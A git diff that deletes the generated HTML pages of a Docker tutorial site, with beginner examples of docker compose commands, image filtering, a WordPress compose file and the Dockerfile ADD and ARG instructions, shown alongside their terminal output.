- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-restart-command/index.html b/public/docker/docker-compose-cli-restart-command/index.html deleted file mode 100644 index 3cd92a8..0000000 --- a/public/docker/docker-compose-cli-restart-command/index.html +++ /dev/null @@ -1,1120 +0,0 @@ - - - - - - - - -Docker Compose CLI - restart Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - restart Command

-
-
- - -

restart service images

-
docker compose restart  
-[+] Running 5/5
- ⠿ Container example-voting-app-db-1      Started                                                                                                                                    0.7s
- ⠿ Container example-voting-app-redis-1   Started                                                                                                                                    0.7s
- ⠿ Container example-voting-app-result-1  Started                                                                                                                                    0.6s
- ⠿ Container example-voting-app-vote-1    Started                                                                                                                                    0.5s
- ⠿ Container example-voting-app-worker-1  Started                                                                                                                                    0.4s
-➜  example-voting-app git:(main) 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-rm-command/index.html b/public/docker/docker-compose-cli-rm-command/index.html deleted file mode 100644 index d641fc9..0000000 --- a/public/docker/docker-compose-cli-rm-command/index.html +++ /dev/null @@ -1,1054 +0,0 @@ - - - - - - - - -Docker Compose CLI - rm Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - rm Command

-
-
- - -

Removes stopped service containers

-
➜  example-voting-app git:(main) docker compose stop 
-[+] Running 5/5
- ⠿ Container example-voting-app-vote-1    Stopped                                                                                                                                    0.3s
- ⠿ Container example-voting-app-result-1  Stopped                                                                                                                                    0.3s
- ⠿ Container example-voting-app-worker-1  Stopped                                                                                                                                    0.1s
- ⠿ Container example-voting-app-db-1      Stopped                                                                                                                                    0.1s
- ⠿ Container example-voting-app-redis-1   Stopped                                                                                                                                    0.2s
-➜  example-voting-app git:(main) docker compose rm   
-? Going to remove example-voting-app-vote-1, example-voting-app-result-1, example-voting-app-worker-1, example-voting-app-db-1, example-voting-app-redis-1 Yes
-[+] Running 5/0
- ⠿ Container example-voting-app-redis-1   Removed                                                                                                                                    0.0s
- ⠿ Container example-voting-app-vote-1    Removed                                                                                                                                    0.0s
- ⠿ Container example-voting-app-result-1  Removed                                                                                                                                    0.0s
- ⠿ Container example-voting-app-db-1      Removed                                                                                                                                    0.0s
- ⠿ Container example-voting-app-worker-1  Removed                                                                                                                                    0.0s
-➜  example-voting-app git:(main) 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-cli-run-command/index.html b/public/docker/docker-compose-cli-run-command/index.html deleted file mode 100644 index 3e9a0aa..0000000 --- a/public/docker/docker-compose-cli-run-command/index.html +++ /dev/null @@ -1,1067 +0,0 @@ - - - - - - - - -Docker Compose CLI - run Command · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose CLI - run Command

-
-
- - -

-➜  example-voting-app git:(main) docker compose run db                  
-
-PostgreSQL Database directory appears to contain a database; Skipping initialization
-
-2023-03-04 19:16:58.496 UTC [1] LOG:  starting PostgreSQL 15.2 on aarch64-unknown-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit
-2023-03-04 19:16:58.496 UTC [1] LOG:  listening on IPv4 address "0.0.0.0", port 5432
-2023-03-04 19:16:58.496 UTC [1] LOG:  listening on IPv6 address "::", port 5432
-2023-03-04 19:16:58.498 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
-2023-03-04 19:16:58.503 UTC [24] LOG:  database system was shut down at 2023-03-04 19:15:07 UTC
-2023-03-04 19:16:58.510 UTC [1] LOG:  database system is ready to accept connections
-^C2023-03-04 19:17:11.082 UTC [1] LOG:  received fast shutdown request
-2023-03-04 19:17:11.088 UTC [1] LOG:  aborting any active transactions
-2023-03-04 19:17:11.108 UTC [1] LOG:  background worker "logical replication launcher" (PID 27) exited with exit code 1
-2023-03-04 19:17:11.108 UTC [22] LOG:  shutting down
-2023-03-04 19:17:11.110 UTC [22] LOG:  checkpoint starting: shutdown immediate
-2023-03-04 19:17:11.117 UTC [22] LOG:  checkpoint complete: wrote 3 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.003 s, sync=0.001 s, total=0.009 s; sync files=2, longest=0.001 s, average=0.001 s; distance=0 kB, estimate=0 kB
-2023-03-04 19:17:11.127 UTC [1] LOG:  database system is shut down
-➜  example-voting-app git:(main) docker compose run worker
-[+] Running 2/2
- ⠿ Container example-voting-app-db-1     Created                                                                                                                                     0.0s
- ⠿ Container example-voting-app-redis-1  Created                                                                                                                                     0.0s
-[+] Running 2/2
- ⠿ Container example-voting-app-db-1     Started                                                                                                                                     0.5s
- ⠿ Container example-voting-app-redis-1  Started                                                                                                                                     0.5s
-Connected to db
-Found redis at 172.20.0.3
-Connecting to redis
-^C%                                                                                                                                                                                       
-➜  example-voting-app git:(main) 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-compose-with-volume-mount/index.html b/public/docker/docker-compose-with-volume-mount/index.html deleted file mode 100644 index e81c88d..0000000 --- a/public/docker/docker-compose-with-volume-mount/index.html +++ /dev/null @@ -1,909 +0,0 @@ - - - - - - - - -Docker Compose with Volume Mount · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Compose with Volume Mount

-
-
- - -

Lets build docker compose file

-
version: '3'
-services:
-  phpapp:
-    image: php:7.2-apache
-    ports:
-      - "8080:80"
-    volumes:
-      - "./:/var/www/html"
-

above when we do docker compose up it will start apache with php 7.2 -it will mount corrent directory to /var/www/html -also it mount port 80 of the container to port 8080 on the host

-

create index.php with following content

-
<?php
-
-echo "hello world \n\n";
-

run with docker compose

-
2-DC-Vol-Mount git:(main) ✗ docker compose up
-[+] Running 15/15
- ⠿ phpapp Pulled                                                                                    13.2s
-   ⠿ c9648d7fcbb6 Pull complete                                                                      3.1s
-   ⠿ f88cecc04e76 Pull complete                                                                      3.1s
-   ⠿ 30eb7a300f13 Pull complete                                                                      5.1s
-   ⠿ c17a0a78e91d Pull complete                                                                      5.1s
-   ⠿ 8d436d7bb026 Pull complete                                                                      5.6s
-   ⠿ 5543a36f8eed Pull complete                                                                      5.7s
-   ⠿ 28135fd83ed1 Pull complete                                                                      5.7s
-   ⠿ 485201b000c7 Pull complete                                                                      5.8s
-   ⠿ 9e92e56de9f5 Pull complete                                                                      5.9s
-   ⠿ 709f68bc1d50 Pull complete                                                                      8.3s
-   ⠿ c5ff78edaefc Pull complete                                                                      8.3s
-   ⠿ 119f7607f913 Pull complete                                                                      8.4s
-   ⠿ 1c04bb0b5fbe Pull complete                                                                      8.4s
-   ⠿ 9639d8c8cc76 Pull complete                                                                      8.4s
-[+] Running 2/1
- ⠿ Network 2-dc-vol-mount_default     Created                                                        0.1s
- ⠿ Container 2-dc-vol-mount-phpapp-1  Created                                                        0.1s
-Attaching to 2-dc-vol-mount-phpapp-1
-

open localhost 8080

-

http://localhost:8080

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-hello-world-example/index.html b/public/docker/docker-hello-world-example/index.html deleted file mode 100644 index ec08a3c..0000000 --- a/public/docker/docker-hello-world-example/index.html +++ /dev/null @@ -1,851 +0,0 @@ - - - - - - - - -Docker Hello World Example · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Hello World Example

-
-
- - -

run your first hello world example

-
docker run hello-world
-

is a command that runs a simple Docker container to verify that Docker is correctly installed on your system and working as expected.

-

When you run this command, Docker will first check if the “hello-world” image is available locally. If the image is not found, Docker will download it from the Docker Hub registry.

-

Once the “hello-world” image is available, Docker will create a container from the image and run it. The container will print a message to the console to indicate that everything is working correctly.

-

Here’s an example of what you might see when you run docker run hello-world:

-
docker run hello-world
-Unable to find image 'hello-world:latest' locally
-latest: Pulling from library/hello-world
-7050e35b49f5: Pull complete 
-Digest: sha256:6e8b6f026e0b9c419ea0fd02d3905dd0952ad1feea67543f525c73a0a790fefb
-Status: Downloaded newer image for hello-world:latest
-
-Hello from Docker!
-This message shows that your installation appears to be working correctly.
-
-To generate this message, Docker took the following steps:
- 1. The Docker client contacted the Docker daemon.
- 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
-    (arm64v8)
- 3. The Docker daemon created a new container from that image which runs the
-    executable that produces the output you are currently reading.
- 4. The Docker daemon streamed that output to the Docker client, which sent it
-    to your terminal.
-
-To try something more ambitious, you can run an Ubuntu container with:
- $ docker run -it ubuntu bash
-
-Share images, automate workflows, and more with a free Docker ID:
- https://hub.docker.com/
-
-For more examples and ideas, visit:
- https://docs.docker.com/get-started/
-

check it out list of docker images

-
dockerworkshop git:(main) ✗ docker images
-REPOSITORY                                TAG               IMAGE ID       CREATED         SIZE
-hello-world                               latest            46331d942d63   11 months ago   9.14kB
-

docker inspect is a command used to retrieve detailed information about one or more Docker objects, such as containers, images, networks, volumes, and more. The command allows you to inspect the configuration and state of a Docker object, including its metadata, networking information, storage configuration, and more.

-

Here’s the basic syntax of the docker inspect command:

-
docker inspect [OPTIONS] OBJECT [OBJECT...]
-
    -
  • OPTIONS: Optional flags that modify the output of the command.
  • -
  • OBJECT: The name or ID of the Docker object to inspect.
  • -
-

For example, to inspect a running Docker container named hello-world , you could use the following command:

-
docker inspect hello-world                         
-[
-    {
-        "Id": "sha256:46331d942d6350436f64e614d75725f6de3bb5c63e266e236e04389820a234c4",
-        "RepoTags": [
-            "hello-world:latest"
-        ],
-        "RepoDigests": [
-            "hello-world@sha256:6e8b6f026e0b9c419ea0fd02d3905dd0952ad1feea67543f525c73a0a790fefb"
-        ],
-        "Parent": "",
-        "Comment": "",
-        "Created": "2022-03-19T16:12:58.923371954Z",
-        "Container": "b2af51419cbf516f3c99b877a64906b21afedc175bd3cd082eb5798e2f277bb4",
-        "ContainerConfig": {
-            "Hostname": "b2af51419cbf",
-            "Domainname": "",
-            "User": "",
-            "AttachStdin": false,
-            "AttachStdout": false,
-            "AttachStderr": false,
-            "Tty": false,
-            "OpenStdin": false,
-            "StdinOnce": false,
-            "Env": [
-                "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
-            ],
-            "Cmd": [
-                "/bin/sh",
-                "-c",
-                "#(nop) ",
-                "CMD [\"/hello\"]"
-            ],
-            "Image": "sha256:cc0fff24c4ece63ade5d9f549e42c926cf569112c4f5c439a4a57f3f33f5588b",
-            "Volumes": null,
-            "WorkingDir": "",
-            "Entrypoint": null,
-            "OnBuild": null,
-            "Labels": {}
-        },
-        "DockerVersion": "20.10.12",
-        "Author": "",
-        "Config": {
-            "Hostname": "",
-            "Domainname": "",
-            "User": "",
-            "AttachStdin": false,
-            "AttachStdout": false,
-            "AttachStderr": false,
-            "Tty": false,
-            "OpenStdin": false,
-            "StdinOnce": false,
-            "Env": [
-                "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
-            ],
-            "Cmd": [
-                "/hello"
-            ],
-            "Image": "sha256:cc0fff24c4ece63ade5d9f549e42c926cf569112c4f5c439a4a57f3f33f5588b",
-            "Volumes": null,
-            "WorkingDir": "",
-            "Entrypoint": null,
-            "OnBuild": null,
-            "Labels": null
-        },
-        "Architecture": "arm64",
-        "Variant": "v8",
-        "Os": "linux",
-        "Size": 9136,
-        "VirtualSize": 9136,
-        "GraphDriver": {
-            "Data": {
-                "MergedDir": "/var/lib/docker/overlay2/851a7de3abc0e1977e00c9bd8976c5fa1b0d954d3dc847ae15b36539f43e90a3/merged",
-                "UpperDir": "/var/lib/docker/overlay2/851a7de3abc0e1977e00c9bd8976c5fa1b0d954d3dc847ae15b36539f43e90a3/diff",
-                "WorkDir": "/var/lib/docker/overlay2/851a7de3abc0e1977e00c9bd8976c5fa1b0d954d3dc847ae15b36539f43e90a3/work"
-            },
-            "Name": "overlay2"
-        },
-        "RootFS": {
-            "Type": "layers",
-            "Layers": [
-                "sha256:efb53921da3394806160641b72a2cbd34ca1a9a8345ac670a85a04ad3d0e3507"
-            ]
-        },
-        "Metadata": {
-            "LastTagTime": "0001-01-01T00:00:00Z"
-        }
-    }
-]
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-image-filtering/index.html b/public/docker/docker-image-filtering/index.html deleted file mode 100644 index 54eb62d..0000000 --- a/public/docker/docker-image-filtering/index.html +++ /dev/null @@ -1,763 +0,0 @@ - - - - - - - - -Docker Image Filtering · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Image Filtering

-
-
- - -

running docker run alpine command would download the Alpine Linux image from Docker Hub and start a new container based on that image. You can then use the container to run commands or applications. When you exit the container, it will stop running.

-

Alpine Linux is a lightweight Linux distribution that is commonly used in Docker containers due to its small size and security features.

-
dockerworkshop git:(main) ✗ docker pull alpine:3.6 
-docker pull alpine:3.7
-docker pull alpine:3.8
-docker pull alpine:3.9
-3.6: Pulling from library/alpine
-e8f81692e76c: Pull complete 
-Digest: sha256:66790a2b79e1ea3e1dabac43990c54aca5d1ddf268d9a5a0285e4167c8b24475
-Status: Downloaded newer image for alpine:3.6
-docker.io/library/alpine:3.6
-3.7: Pulling from library/alpine
-40223db5366f: Pull complete 
-Digest: sha256:8421d9a84432575381bfabd248f1eb56f3aa21d9d7cd2511583c68c9b7511d10
-Status: Downloaded newer image for alpine:3.7
-docker.io/library/alpine:3.7
-3.8: Pulling from library/alpine
-788aef77d06b: Pull complete 
-Digest: sha256:2bb501e6173d9d006e56de5bce2720eb06396803300fe1687b58a7ff32bf4c14
-Status: Downloaded newer image for alpine:3.8
-docker.io/library/alpine:3.8
-3.9: Pulling from library/alpine
-941f399634ec: Pull complete 
-Digest: sha256:414e0518bb9228d35e4cd5165567fb91d26c6a214e9c95899e1e056fcd349011
-Status: Downloaded newer image for alpine:3.9
-docker.io/library/alpine:3.9
-

docker images filtering

-

The docker images command allows you to filter Docker images based on various criteria using the –filter option. Here are some common filters that you can use with the docker images command:

-
docker images --filter=reference='alpine'
-REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
-alpine       3.9       9afdd4a290bf   2 years ago   5.3MB
-alpine       3.8       b22edbe95d11   3 years ago   4.2MB
-alpine       3.7       bd812700d284   3 years ago   4.01MB
-alpine       3.6       25e814211fdd   3 years ago   3.84MB
-

Filters images that are or are not “dangling,” meaning they are not tagged and not referenced by any container.

-
docker images --filter dangling=false 
-

Or to list images created before a specific image, you can run:

-
docker images --filter before=alpine:3.8 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/docker-wordpress-example/index.html b/public/docker/docker-wordpress-example/index.html deleted file mode 100644 index 26ef102..0000000 --- a/public/docker/docker-wordpress-example/index.html +++ /dev/null @@ -1,1106 +0,0 @@ - - - - - - - - -Docker Wordpress Example · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Wordpress Example

-
-
- - -

create wordpress docker compose

-
wordpress:
-    image: wordpress
-    links:
-     - mariadb:mysql
-    environment:
-     - WORDPRESS_DB_PASSWORD=password
-     - WORDPRESS_DB_USER=root
-    ports:
-     - "public_ip:80:80"
-    volumes:
-     - ./html:/var/www/html
-mariadb:
-    image: mariadb
-    environment:
-     - MYSQL_ROOT_PASSWORD=password
-     - MYSQL_DATABASE=wordpress
-    volumes:
-     - ./database:/var/lib/mysql
-

run docker compose

-
docker compose up 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-add-instruction/index.html b/public/docker/dockerfile-lab-add-instruction/index.html deleted file mode 100644 index d703a24..0000000 --- a/public/docker/dockerfile-lab-add-instruction/index.html +++ /dev/null @@ -1,795 +0,0 @@ - - - - - - - - -Dockerfile Lab - ADD instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - ADD instruction

-
-
- - -

Here’s an example of a Dockerfile that uses the ADD instruction to copy a local file into a Docker image:

-
FROM ubuntu:latest
-
-WORKDIR /app
-
-ADD example.txt /app/
-
-CMD ["cat", "/app/example.txt"]
-

Build Dockerfile

-

- Dockerfile git:(main) ✗ docker build -t sangam14/add-dockerfile  -f dockerfile.add .  
-[+] Building 5.2s (9/9) FINISHED                                                                                                                                                                  
- => [internal] load build definition from dockerfile.add                                                                                                                                     0.0s
- => => transferring dockerfile: 131B                                                                                                                                                         0.0s
- => [internal] load .dockerignore                                                                                                                                                            0.0s
- => => transferring context: 2B                                                                                                                                                              0.0s
- => [internal] load metadata for docker.io/library/ubuntu:latest                                                                                                                             3.1s
- => [auth] library/ubuntu:pull token for registry-1.docker.io                                                                                                                                0.0s
- => [1/3] FROM docker.io/library/ubuntu:latest@sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f                                                                       2.0s
- => => resolve docker.io/library/ubuntu:latest@sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f                                                                       0.0s
- => => sha256:9a0bdde4188b896a372804be2384015e90e3f84906b750c1a53539b585fbbe7f 1.13kB / 1.13kB                                                                                               0.0s
- => => sha256:61bd0b97000996232eb07b8d0e9375d14197f78aa850c2506417ef995a7199a7 424B / 424B                                                                                                   0.0s
- => => sha256:a6be1f66f70f66ef43503292e38ccbfc14f2d5464e7736344783a8fc7bb339a8 2.31kB / 2.31kB                                                                                               0.0s
- => => sha256:8b150fd943bcd54ef788cece17523d19031f745b099a798de65247900d102e18 27.34MB / 27.34MB                                                                                             1.4s
- => => extracting sha256:8b150fd943bcd54ef788cece17523d19031f745b099a798de65247900d102e18                                                                                                    0.4s
- => [internal] load build context                                                                                                                                                            0.0s
- => => transferring context: 78B                                                                                                                                                             0.0s
- => [2/3] WORKDIR /app                                                                                                                                                                       0.1s
- => [3/3] ADD example.txt /app/                                                                                                                                                              0.0s
- => exporting to image                                                                                                                                                                       0.0s
- => => exporting layers                                                                                                                                                                      0.0s
- => => writing image sha256:c3438bfac421fa098b47f37ae00427eadcfb7ed36653a678738c63b0ab33a8d1                                                                                                 0.0s
- => => naming to docker.io/sangam14/add-dockerfile               
-

run docker images

-
Dockerfile git:(main) ✗ docker run sangam14/add-dockerfile                                                                                                                                     
-Sangam Biradar 
-Docker Community Leader 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-arg-instruction/index.html b/public/docker/dockerfile-lab-arg-instruction/index.html deleted file mode 100644 index 338d35c..0000000 --- a/public/docker/dockerfile-lab-arg-instruction/index.html +++ /dev/null @@ -1,941 +0,0 @@ - - - - - - - - -Dockerfile Lab - ARG instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - ARG instruction

-
-
- - -
FROM alpine
-
-ENV key1="ENV is stronger than an ARG"
-RUN echo ${key1}
-ARG key1="not going to matter"
-RUN echo ${key1}
-
-RUN echo ${key2}
-ARG key2="defaultValue"
-RUN echo ${key2}
-ENV key2="ENV value takes over"
-RUN echo ${key2}
-CMD ["sh"]
-

Build Dockerfile

-
 Dockerfile git:(main) ✗ docker build -t sangam14/arg-dockerfile  -f dockerfile.arg .
-[+] Building 3.5s (11/11) FINISHED                                                                                                                         
- => [internal] load build definition from dockerfile.arg                                                                                              0.0s
- => => transferring dockerfile: 336B                                                                                                                  0.0s
- => [internal] load .dockerignore                                                                                                                     0.0s
- => => transferring context: 2B                                                                                                                       0.0s
- => [internal] load metadata for docker.io/library/alpine:latest                                                                                      2.2s
- => [auth] library/alpine:pull token for registry-1.docker.io                                                                                         0.0s
- => CACHED [1/6] FROM docker.io/library/alpine@sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a                                0.0s
- => [2/6] RUN echo ENV is stronger than an ARG                                                                                                        0.2s
- => [3/6] RUN echo not going to matter                                                                                                                0.1s
- => [4/6] RUN echo ${key2}                                                                                                                            0.3s
- => [5/6] RUN echo defaultValue                                                                                                                       0.2s
- => [6/6] RUN echo ENV value takes over                                                                                                               0.3s
- => exporting to image                                                                                                                                0.0s
- => => exporting layers                                                                                                                               0.0s
- => => writing image sha256:acf55f3ef13e44ff24acf18f9c6320e5af33aa3eb9789274a46f47a9dff6d474                                                          0.0s
- => => naming to docker.io/sangam14/arg-dockerfile             
-

Inspect Env variable

-
docker image inspect --format '{{json .Config}}' sangam14/arg-demo:1.0 | jq '.Env'
-

output

-
docker image inspect --format '{{json .Config}}' sangam14/arg-dockerfile | jq '.Env'
-[
-  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
-  "key1=ENV is stronger than an ARG",
-  "key2=ENV value takes over"
-]
-

docker container run sangam14/arg-dockerfile env

-
docker container run sangam14/arg-dockerfile env                                    
-PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-HOSTNAME=7b09d8fffd50
-key1=ENV is stronger than an ARG
-key2=ENV value takes over
-HOME=/root
-

Pass env values while building dockerfile

-
docker  build --rm --build-arg key1="buildTimeValue" --build-arg key2="good till env instruction" --tag sangam14/arg-dockerfile1 -f dockerfile.arg . 
-Sending build context to Docker daemon  50.18kB
-Step 1/11 : FROM alpine
-latest: Pulling from library/alpine
-af6eaf76a39c: Already exists 
-Digest: sha256:69665d02cb32192e52e07644d76bc6f25abeb5410edc1c7a81a10ba3f0efb90a
-Status: Downloaded newer image for alpine:latest
- ---> d74e625d9115
-Step 2/11 : ENV key1="ENV is stronger than an ARG"
- ---> Running in 93620e2ca3e2
-Removing intermediate container 93620e2ca3e2
- ---> e5eaad1dfbfa
-Step 3/11 : RUN echo ${key1}
- ---> Running in bf14143efff7
-ENV is stronger than an ARG
-Removing intermediate container bf14143efff7
- ---> 2936757fac41
-Step 4/11 : ARG key1="not going to matter"
- ---> Running in 161bf9d911e7
-Removing intermediate container 161bf9d911e7
- ---> 87ff1f1e4c1b
-Step 5/11 : RUN echo ${key1}
- ---> Running in 2e69ff7a2d91
-ENV is stronger than an ARG
-Removing intermediate container 2e69ff7a2d91
- ---> af66f1b039df
-Step 6/11 : RUN echo ${key2}
- ---> Running in 5dd29054ba99
-
-Removing intermediate container 5dd29054ba99
- ---> f575cd74046a
-Step 7/11 : ARG key2="defaultValue"
- ---> Running in 757002f257f0
-Removing intermediate container 757002f257f0
- ---> d60933ac5ef5
-Step 8/11 : RUN echo ${key2}
- ---> Running in 742bdd38d1e0
-good till env instruction
-Removing intermediate container 742bdd38d1e0
- ---> b32166e66170
-Step 9/11 : ENV key2="ENV value takes over"
- ---> Running in 1bedb017ed72
-Removing intermediate container 1bedb017ed72
- ---> c8a4d9a2fd20
-Step 10/11 : RUN echo ${key2}
- ---> Running in 96dbe6d53412
-ENV value takes over
-Removing intermediate container 96dbe6d53412
- ---> 6270d392443c
-Step 11/11 : CMD ["sh"]
- ---> Running in b13a9ae5798f
-Removing intermediate container b13a9ae5798f
- ---> 9f878f6fe503
-Successfully built 9f878f6fe503
-Successfully tagged sangam14/arg-dockerfile1:latest
-

Inspect Env of new docker image

-
docker image inspect --format '{{json .Config}}' sangam14/arg-dockerfile1:latest | jq '.Env'
-[
-  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
-  "key1=ENV is stronger than an ARG",
-  "key2=ENV value takes over"
-]
-
docker container run sangam14/arg-dockerfile1 env
-PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-HOSTNAME=dff7e104aadb
-key1=ENV is stronger than an ARG
-key2=ENV value takes over
-HOME=/root
-

cat dockerfile.arg1

-

-FROM alpine
-
-ENV lifecycle="production"
-RUN echo ${lifecycle}
-ARG username="35"
-RUN echo ${username}
-ARG appdir
-RUN echo ${appdir}
-
-ADD hello /${appdir}/
-RUN chown -R ${username}:${username} ${appdir}
-WORKDIR ${appdir}
-USER ${username}
-
-CMD ["./hello"]
-

build docker image and pass build args

-
docker build --build-arg username=35 --build-arg appdir="/opt/hello" -t sangam14/arg1-dockerfile  -f dockerfile.arg1 .
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-cmd-instruction/index.html b/public/docker/dockerfile-lab-cmd-instruction/index.html deleted file mode 100644 index 494749e..0000000 --- a/public/docker/dockerfile-lab-cmd-instruction/index.html +++ /dev/null @@ -1,799 +0,0 @@ - - - - - - - - -Dockerfile Lab - CMD instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - CMD instruction

-
-
- - -

The CMD command we saw earlier followed the Shell syntax:

-
